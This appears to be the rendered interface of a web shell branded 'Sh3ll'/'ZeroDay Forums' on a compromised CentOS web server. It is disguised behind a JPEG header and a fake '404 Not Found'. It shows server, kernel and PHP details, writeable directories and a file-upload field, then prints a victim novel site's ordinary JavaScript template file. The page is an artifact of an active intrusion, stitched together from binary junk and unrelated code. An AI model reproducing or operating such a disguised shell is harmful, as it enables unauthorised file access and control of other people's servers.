����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/lnovel/layout/novel/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/lnovel/layout/novel/js/js-templates.js
var elem = document.createElement('canvas');
isSuportWebp = elem.toDataURL('image/webp').indexOf('data:image/webp') == 0;
var Template = function(){
    var chapterKeywords = {
        vi: {
            chapter: 'chuong',
            book: 'quyen'
        },
        en: {
            chapter: 'chapter',
            book: 'book'
        }
    };
    var variable_callbacks = {
        story_id: function(item){return item.storyID},
        title: function(item){return item.title},
        story_link: function(item){return Utils.storyLink(item);},
        story_title: function(item){return item.title;},
        author: function(item){return item.authorName;},
        author_link: function(item){return location.origin+'/author/'+item.authorID+'/';},
        following: function(item){return item.following;},
        chap_no: function(item){if(!item.lastChapter) return '';
            var chap = JSON.parse(item.lastChapter);
            return Utils.chapterNo(chap);},
        chap_name: function(item){
            if(!item.lastChapter) return '';
            var chap = JSON.parse(item.lastChapter); return chap.name;
        },
        last_chapter: function(item){if(!item.lastChapter) return ''; var chap = JSON.parse(item.lastChapter);
            return Utils.chapter_fullname(chap);},
        last_chapter_link: function(item){if(!item.lastChapter) return '';var chap = JSON.parse(item.lastChapter);
            return Utils.chapterLink(item,chap);},
        last_chapter_updated: function(item){
            if(!item.lastChapter) return '';
            var chap = JSON.parse(item.lastChapter);
            return Utils.formatDate(Utils.date2time(chap.lastUpdated),'H:i d/m/Y');
        },
        thumbnail: function(item,size){var size=size.split('x');return '<img src="'+cdnUrl+'/covers/'+Math.floor(item.storyID/1000).toString()+'/'+item.storyID+'-'+item.alias+'-'+size.join('x')+'.'+(isSuportWebp?'webp':'jpg')+'" width="'+size[0]+'" height="'+size[1]+'" alt="'+item.alias+'"/>';},
        field_value: function(item,elm){var val = item[elm.getAttribute('data-field')]; return Utils.number_format(val);},
        genre: function(item){return genres[item.genres.split(',')[0]].name},
        genre_link: function(item){return location.origin+'/'+genres[item.genres.split(',')[0]].slug+'/';},
        nut: function(item){return item.avg_point;},
        passed: function(item){
            var tmp = item.modified_time.split(' ');
            var d = tmp[0].split('-');
            var t = tmp[1].split(':');
            var modified = Math.round((new Date(d[0],d[1]-1,d[2],t[0],t[1],t[2])).getTime()/1000);
            var now = Math.round((new Date()).getTime()/1000);
            var diff = now - modified;
            if(diff<60) return diff+' giây trước';
            if(diff<3600) return Math.round(diff/60)+' phút trước';
            if(diff<24*3600) return Math.round(diff/3600)+' giờ trước';
            if(diff<24*3600*7) return Math.round(diff/(24*3600))+' ngày trước';
            return 'Hơn '+Math.round(diff/(7*24*3600)) +' tuần trước';
        },
        mini_desc: function(item){if(item.mini_desc) return item.mini_desc;
            var des = item.description.replace(/(<([^>]+)>)/gi, "").trim();
        var ws = des.split(' '); return ws.splice(0,15).join(' ');},
        small_desc: function(item){if(item.mini_desc) return item.mini_desc;
            var des = item.description.replace(/(<([^>]+)>)/gi, "").trim();
            var ws = des.split(' '); return ws.splice(0,60).join(' ');},
        total_chap: function(item){return item.chapters+' '+langs.chapters;},
        state: function(item){return langs.state[parseInt(item.state)];},
        labels: function(item){
            var gs = item.genres.split(',');
            var labels = [];
            for(var i=0;i<gs.length;i++) labels.push(genres[gs[i]].name);
            labels.push(langs.state[item.state]);
            return labels.join(' | ');
        },
        genres: function(item){
            var gs = item.genres.split(',');
            var labels = [];
            for(var i=0;i<gs.length;i++) labels.push(genres[gs[i]].name);
            return labels.join(' | ');
        }
    };
    var templates = {
        simple: {
            node: 'li',
            attributes: {},
            html: '<a href="{genre_link}" class="genre">{genre}</a><h4><a href="{story_link}">{story_title}</a></h4><a href="{author_link}" class="author">{author}</a>'
        },
        follow:{
            node: 'div',
            attributes: {
                class: 'follow-story'
            },
            html: '<h4><a href="{story_link}">{title}</a></h4><span><strong>{following}</strong> '+langs.following+'</span><p>{mini_desc}</p>'
        },
        update: {
            node: 'li',
            attributes: {},
            html: '<a href="{genre_link}" class="cate">{genre}</a><h4><a href="{story_link}">{title}</a></h4><a href="{last_chapter_link}" class="chapter">{chap_no}</a><a href="{author_link}" class="author">{author}</a><span>{passed}</span>'
        },
        order: {
            node: 'li',
            attributes: {},
            html: '<span>{index}</span><h4><a href="{story_link}" title="{title}">{title}</a></h4>'
        },
        sponsor: {
            node: 'div',
            attributes: {
                class: 'story-item-1'
            },
            html: '<div class="book-cover"><a href="{story_link}">{thumbnail_140x187}</a></div><h4><a href="{story_link}">{title}</a></h4><a href="{author_link}" class="author">{author}</a><p>{mini_desc}</p>'
        },
        free: {
            node: 'div',
            attributes: {
                class: 'story-item-2'
            },
            html: '<a href="{story_link}">{thumbnail_140x187}</a><h4><a href="{story_title}">{title}</a></h4><p>{point} '+langs.point+langs.per_chap+'</p><a href="{story_link}" class="read-now">'+langs.read_free+'</a>'
        },
        small_list: {
            node: 'li',
            attributes: {
                class: 'item'
            },
            html: '<a href="{story_link}" class="cover">{thumbnail_140x187}</a><h4 class="story-title"><a href="{story_link}">{title}</a></h4><p class="author">{author}</p>'
        },
        grid: {
            node: 'div',
            attributes: {
                class: 'grid-story-item'
            },
            html: '<a href="{story_link}" class="cover">{thumbnail_140x187}</a>'+
            '<h3 class="story-title"><a href="{story_link}">{title}</a></h3><p class="metas">'+
                '<a href="{author_link}" class="author"><i class="fas fa-user-tie"></i> {author}</a><a href="{genre_link}" class="genre">{genre}</a><span>{state}</span></p>'+
            '<p class="mini-desc">{mini_desc}</p><p class="chaps">{total_chap}</p>'
        },
        large_story_item:{
            node: 'div',
            attributes: {
                class: 'large-story-item'
            },
            html: '<a href="{story_link}" class="cover">{thumbnail_140x187}</a><div class="info">' +
                '<h3 class="story-title"><a href="{story_link}">{title}</a></h3>' +
                '<p class="metas"><a href="{genre_link}" class="genre">{genre}</a><span>{state}</span></p>' +
                '<p class="mini-desc">{small_desc}</p>' +
                '<p class="last-chapter"><a href="{last_chapter_link}">{last_chapter}</a> <time>{last_chapter_updated}</time></p>' +
                '<a href="{story_link}" class="button button-primary">'+langs.detail+'</a>' +
                '<a href="#" class="button button-blue add_to_bookshelf" data-id="{story_id}">'+langs.actions.add_to_bookshelf+'</a></div>'
        },
        small_story_item: {
            node: 'div',
            attributes: {
                class: 'small-story_item'
            },
            html: '<a href="{story_link}" class="cover">{thumbnail_220x283}</a>' +
                '<h3 class="story-title"><a href="{story_link}">{title}</a></h3>' +
                ''
        },
        story_list_thumb: {
            node: 'li',
            attributes: {
                class: 'story_list_thumb'
            },
            html: '<a href="{story_link}" class="cover">{thumbnail_140x187}</a>' +
                '<div class="info"><h3 class="story-title"><a href="{story_link}">{title}</a></h3>' +
                '<span class="author">{author}</span>' +
                '<p class="genres">{genres}</p></div>'
        }
    };
    var rankedTemplate = function(elm,length){
        var field = elm.getAttribute('data-field');
        var html = '<li><div class="info">'+
            '<h4><a href="{story_link}">{title}</a></h4><span><strong>{field_value}</strong> '+langs[field]+'</span>'+
            '</div>'+
        '<div class="book-cover"><a href="{story_link}">{thumbnail_140x187}</a></div></li>';
        for(var i=1;i<length;i++){
            html += '<li><h4><a href="{story_link}">{title}</a></h4><span>{field_value}</span></li>';
        }
        elm.innerHTML = html;
        return [elm];
    };
    var visualDatas = [];
    return {
        init: function(){
            var visualBlocks = $('.visual-data');
            if(visualBlocks.length<=0) return;
            var queryData = {};
            for(var i=0;i<visualBlocks.length;i++){
                if(!visualBlocks[i].hasAttribute('data-data')) continue;
                if(typeof queryData[visualBlocks[i].getAttribute('data-data')] == 'undefined'){
                    var d = visualBlocks[i].getAttribute('data-data');
                    queryData[d] = {
                        limit: visualBlocks[i].getAttribute('data-rows')
                    };
                    if(visualBlocks[i].hasAttribute('data-offset')) queryData[d].offset = parseInt(visualBlocks[i].getAttribute('data-offset'));
                    if(visualBlocks[i].hasAttribute('data-genre')) queryData[d].genre = parseInt(visualBlocks[i].getAttribute('data-genre'));
                    if(visualBlocks[i].hasAttribute('data-tag')) queryData[d].tag = parseInt(visualBlocks[i].getAttribute('data-tag'));
                    if(visualBlocks[i].hasAttribute('data-author')) queryData[d].author = parseInt(visualBlocks[i].getAttribute('data-author'));
                    if(visualBlocks[i].hasAttribute('data-user')) queryData[d].user = parseInt(visualBlocks[i].getAttribute('data-user'));
                }
                visualDatas.push({elms:Template.generate(visualBlocks[i],visualBlocks[i].getAttribute('data-template'),parseInt(visualBlocks[i].getAttribute('data-rows'))),data:visualBlocks[i].getAttribute('data-data')});
            }
            API.get('/stories/',null,{lists:JSON.stringify(queryData)},function(data){
                for(var i=0;i<visualDatas.length;i++){
                    if(!visualDatas[i].elms) continue;
                    for(var j=0;j<visualDatas[i].elms.length;j++){
                        Template.apply(visualDatas[i].elms[j],data.stories[visualDatas[i].data]);
                    }
                }
            });
        },
        generate: function(elm,template,length){
            if(typeof templates[template] == 'undefined') return Template[template](elm,length);
            var ch;
            for(var i=0;i<length;i++){
                ch = document.createElement(templates[template].node);
                for(var k in templates[template].attributes){
                    if(templates[template].attributes.hasOwnProperty(k)){
                        ch.setAttribute(k,templates[template].attributes[k].replace(/\{index\}/g,i+1));
                    }
                }
                if(templates[template].class) ch.className = templates[template].class;
                ch.innerHTML = templates[template].html.replace(/\{index\}/g,i+1);
                elm.appendChild(ch);
            }
            return [elm];
        },
        ranked: function(elm,length){
            return rankedTemplate(elm,length);
        },
        slide: function(elm,length){
            var inputs = '',imgs = '',bullets='',descs = '';
            for(var i=1;i<=length;i++){
                if(i==3) inputs += '<input type="radio" name="slider" id="slide-'+i+'" class="slider__radio" checked>';
                else inputs += '<input type="radio" name="slider" id="slide-'+i+'" class="slider__radio">';
                imgs += '<label class="slider__item slider__item--'+i+' card" for="slide-'+i+'"><a href="{story_link}">{thumbnail_140x187}</a></label>';
                descs += '<li><h4>{title}</h4><p>{mini_desc}</p><a href="{story_link}" class="btn">'+langs.detail+'</a></li>';
                bullets += '<label for="slide-'+i+'" class="bullets__item bullets__item--'+i+'"></label>'
            }
            elm.innerHTML = inputs+'<div class="thumbs"><div class="slider"><div class="slider__holder">'+imgs+'</div><div class="bullets">'+bullets+'</div></div></div>'+'<ul class="descriptions">'+descs+'</ul>';
            return [elm.querySelector('.slider__holder'),elm.querySelector('.descriptions')];
        },
        apply: function(elm,items){
            if(!items){
                elm.parentNode.removeChild(elm);
                return;
            }
            var children = elm.children;
            elm.className = elm.className.replace('visual-data','').trim();
            var vars,j,content,f;
            for(var i=0;i<children.length;i++){
                if(typeof(items[i]) == 'undefined') continue;
                content = children[i].innerHTML;
                vars = content.match(/\{([a-z0-9_]+)\}/g);
                for(j=0;j<vars.length;j++){
                    f = vars[j].replace('{','').replace('}','');
                    if(typeof variable_callbacks[f] == 'undefined'){
                        if(f.indexOf('thumbnail')!=-1){
                            content = content.replace(new RegExp(vars[j],'g'),variable_callbacks.thumbnail(items[i],f.replace('thumbnail_','')));
                            continue;
                        }
                    }else{
                        content = content.replace(new RegExp(vars[j],'g'),variable_callbacks[f](items[i],elm));
                    }
                }
                children[i].innerHTML = content;
            }
        },
        fill: function(elm,template,items){
            elm.innerHTML = '';
            var ch,html,vars,j,f;
            for(var i=0;i<items.length;i++){
                ch = document.createElement(templates[template].node);
                for(var k in templates[template].attributes){
                    if(templates[template].attributes.hasOwnProperty(k)){
                        ch.setAttribute(k,templates[template].attributes[k].replace(/\{index\}/g,i+1));
                    }
                }
                if(templates[template].class) ch.className = templates[template].class;
                html = templates[template].html.replace(/\{index\}/g,i+1);
                vars = html.match(/\{([a-z0-9_]+)\}/g);
                for(j=0;j<vars.length;j++){
                    f = vars[j].replace('{','').replace('}','');
                    if(typeof variable_callbacks[f] == 'undefined'){
                        if(f.indexOf('thumbnail')!=-1){
                            html = html.replace(new RegExp(vars[j],'g'),variable_callbacks.thumbnail(items[i],f.replace('thumbnail_','')));
                            continue;
                        }
                    }else{
                        html = html.replace(new RegExp(vars[j],'g'),variable_callbacks[f](items[i],elm));
                    }
                }
                ch.innerHTML = html;
                elm.appendChild(ch);
            }
        },
        pagination: function(total,numperpage,paged,url_format,first_url,num){
            numperpage = typeof numperpage !== "undefined"? numperpage:25;
            paged = typeof paged !== "undefined" ? parseInt(paged): 1;
            num = typeof num!=='undefined'?num:3;
            if(total<=numperpage) return '';
            var numofpage = Math.ceil(total/numperpage);
            var str = '<li class="active"><a href="#" rel="nofollow">'+paged+'</a></li>';
            for(var i=1;i<=num;i++){
                if(paged-i>0){
                    if(paged-i==1) str = '<li><a href="'+first_url+'">1</a></li>'+str;
                    else str = '<li><a href="'+url_format.replace('%d',paged-1)+'">'+(paged-i)+'</a></li>'+str;
                }
                if(paged+i<=numofpage){
                    str += '<li><a href="'+url_format.replace('%d',paged+i)+'">'+(paged+i)+'</a></li>';
                }
            }
            if(paged-num-1>0){
                str = '<li><a href="'+first_url+'">1</a></li><li class="dot"><span>...</span></li>'+str;
            }
            if(paged+num<numofpage){
                str += '<li class="dot"><span>...</span></li><li><a href="'+url_format.replace('%d',numofpage)+'">'+numofpage+'</a></li>';
            }
            if(paged>1){
                if(paged-1==1)
                    str = '<li><a href="'+first_url+'" title="Trang trước"><i class="fas fa-angle-left"></i></a></li>'+str;
                else
                    str = '<li><a href="'+url_format.replace('%d',paged-1)+'" title="Trang trước"><i class="fas fa-angle-left"></i></a></li>'+str;
            }
            if(paged<numofpage){
                str += '<li><a href="'+url_format.replace('%d',paged+1)+'" title="Trang sau"><i class="fas fa-angle-right"></i></a></li>';
            }
            return str;
        }
    };
}();
document.addEventListener('DOMContentLoaded', function() {
    Template.init();
});

ZeroDay Forums Mini